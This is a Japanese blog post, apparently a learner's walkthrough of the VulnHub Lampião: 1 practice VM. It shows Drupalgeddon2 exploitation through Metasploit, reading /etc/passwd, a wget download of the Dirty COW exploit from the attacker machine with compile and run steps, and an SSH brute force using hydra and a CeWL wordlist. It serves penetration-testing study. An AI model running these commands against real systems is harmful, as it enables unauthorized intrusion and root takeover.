セキュリティ技術者見習い備忘録

セキュリティ見習いが勉強作業記録をメモする場所

【VulnHub】Lampião: 1 -Walkthrough-

はじめに

Vulnhubを使ってのペンテスト勉強を開始。VulnhubはDHCPによるIPアドレス割り当てが必要。前回の記事でやり方を紹介しているので、参考に。初めてのWalkthroughなので、かなり丁寧に書きます。

ztetez.hatenablog.com

今回Walkthrough(CTFでいうWriteup)を書いていくのは以下のVM

情報収集

まずはターゲットのIPアドレスの特定から。

#netdiscover -r 10.0.10.0/24 

  • -r:スキャン範囲を指定。デフォルトでは、192.168.0.0/16に対してスキャン。

f:id:ztetez:20190429015035p:plain

10.0.10.254は前回記事で設定したDHCPサーバのIPアドレス

次に、このターゲット上で開いているポート(起動しているサービス)を 調査。

#nmap -sV -A -p- 10.0.10.11

  • -sV:バージョンスキャン
  • -A:詳細情報取得
  • -p-:フルポートスキャン

f:id:ztetez:20190124212607p:plain
22番(ssh)、80番(http)、1898番(http)のポートがopen。80番(http)から調査。

ブラウザ上でターゲットのIPアドレス(10.0.10.11)を入力すると、以下のような画面が表示された。

f:id:ztetez:20190120234652p:plain

なんて書いてあるのか不明。これ以上進めなかったので、1898番へアクセス。

f:id:ztetez:20190120234926p:plain

ブログのようなものが表示された。今の時点ではUsername、Password共に不明。

Webコンテンツスキャナである、dirbを使ってリンクされていないコンテンツを探索。

#dirb http://10.0.10.11:1898

f:id:ztetez:20190121000110p:plain

以下robots.txtの内容。

f:id:ztetez:20190121000522p:plain

Disallowと書かれている所を上から順にアクセスすると、「/CHANGELOG.txt」にDrupalのバージョンの記載を発見。

f:id:ztetez:20190121000826p:plain

侵入 

上記で得た情報で侵入を目指します。DrupalのExploit codeをEXPLOIT DATABASEで探す。

f:id:ztetez:20190121225709p:plain

このあたりがいけそう。kali linuxにはEXPLOIT DATABASE内のExploit codeを探してくれるコマンド(searchesploit)があるっぽいので、試した。

#searchesploit drupal

f:id:ztetez:20190121230301p:plain

Drupalgeddon2、Drupalgeddon3共にmetasploiにもあるとのこと。Drupalgeddon3は(Authenticated)と書かれているように、認証が必要そうなので、Drupalgeddon2を使う。

metasploitを起動。

#msfconsole

Drupalに関するExploit codeのパスを探す。

>search drupal

f:id:ztetez:20190121230843p:plain

これを使う。以下2つを実行。

>use exploit/unix/webapp/drupal_drupalgeddon2

>show options

f:id:ztetez:20190121232248p:plain

RHOST(Remote Host)をターゲットのIPアドレスである10.0.10.11に、RPORT(Remote Port)をポート番号1898に設定。

>set RHOST 10.0.10.11

>set RPORT 1898

>show options

f:id:ztetez:20190121233203p:plain

設定完了。Exploit codeを実行。

>exploit

f:id:ztetez:20190121233734p:plain

meterpreterセッションが確立したので侵入成功。どのユーザで侵入できたか確認。また、etc/passwdファイルより、どんなユーザがいるのか見てみる。

>getuid

>cat /etc/passwd

f:id:ztetez:20190121234420p:plain

 現在はwww-dataという名前のユーザ。tiagoというユーザも確認できる。今のままでは使用できるコマンドが限られてる。bashを使用して内部探索するために、以下を実行。

>shell

python -c "import pty; pty.spawn('/bin/bash')"

f:id:ztetez:20190121234815p:plain

これでbashシェルが使えるようになった。

権限昇格

root権限への昇格を目指す。以下のコマンドでカーネルのバージョンと、OSのバージョンを確認。

$uname -a

$cat /etc/issue

f:id:ztetez:20190123233307p:plain

このカーネルのバージョンだと、CVE-2016-5195が突けそう。Referencesにある

Exploit-DB:40847をダウンロードし、攻撃側(kali linux)の「/var/www/html」へ配置。以下コマンドでApache2を起動し、Webサーバとする。

systemctl start apache2.service

wgetでkali linuxから40847.cpp落とす。(とりあえず/tmpへ移動)

$wget http://10.0.10.10/40847.cpp

f:id:ztetez:20190124001918p:plain

このExploit codeの最上部にはコンパイル方法が書かれていたので、それをそのまま実行。

$g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

f:id:ztetez:20190124002616p:plain

すると、dcowというELFファイルが出来上がるので、実行。

$./dcow

rootパスワードがdirtyCowFunに変更された。後はrootになることで、/rootにあるflag.txtの中身を確認できた。

f:id:ztetez:20190124003944p:plain

侵入 別解

上記では、DrupalのExploit codeを利用して侵入しましたが、別の方法もあったのでそちらも試してみた。ssh(22番)で侵入する。

以下の図より、記事の投稿者は「tiago」と「Eder」とあるため、sshで侵入する際のユーザ名の候補とする。

f:id:ztetez:20190124205210p:plain

hydraを使って、ユーザリストとパスワードリストを作りたいので、この2人を含んだuser.lstを作成する。

f:id:ztetez:20190124205622p:plain

パスワードはページ内にあることを期待して、以下のコマンドでパスワードリストを作成。

#cewl -w pass.lst http://10.0.10.11:1898/?q=node/1

  • -w:出力ファイルの指定

f:id:ztetez:20190124210358p:plain

ユーザリスト(user.lst)とパスワードリスト(pass.lst)が完成したので、hydraで総当たりする。

hydra -L user.lst -P pass.lst -t 4 ssh://10.0.10.11

  • -L:ユーザリストファイルの指定
  • -P:パスワードリストファイルの指定
  • -t:タスク数の指定

f:id:ztetez:20190124211701p:plain

ユーザ名、パスワードを発見。これを使って侵入成功。

f:id:ztetez:20190124212021p:plain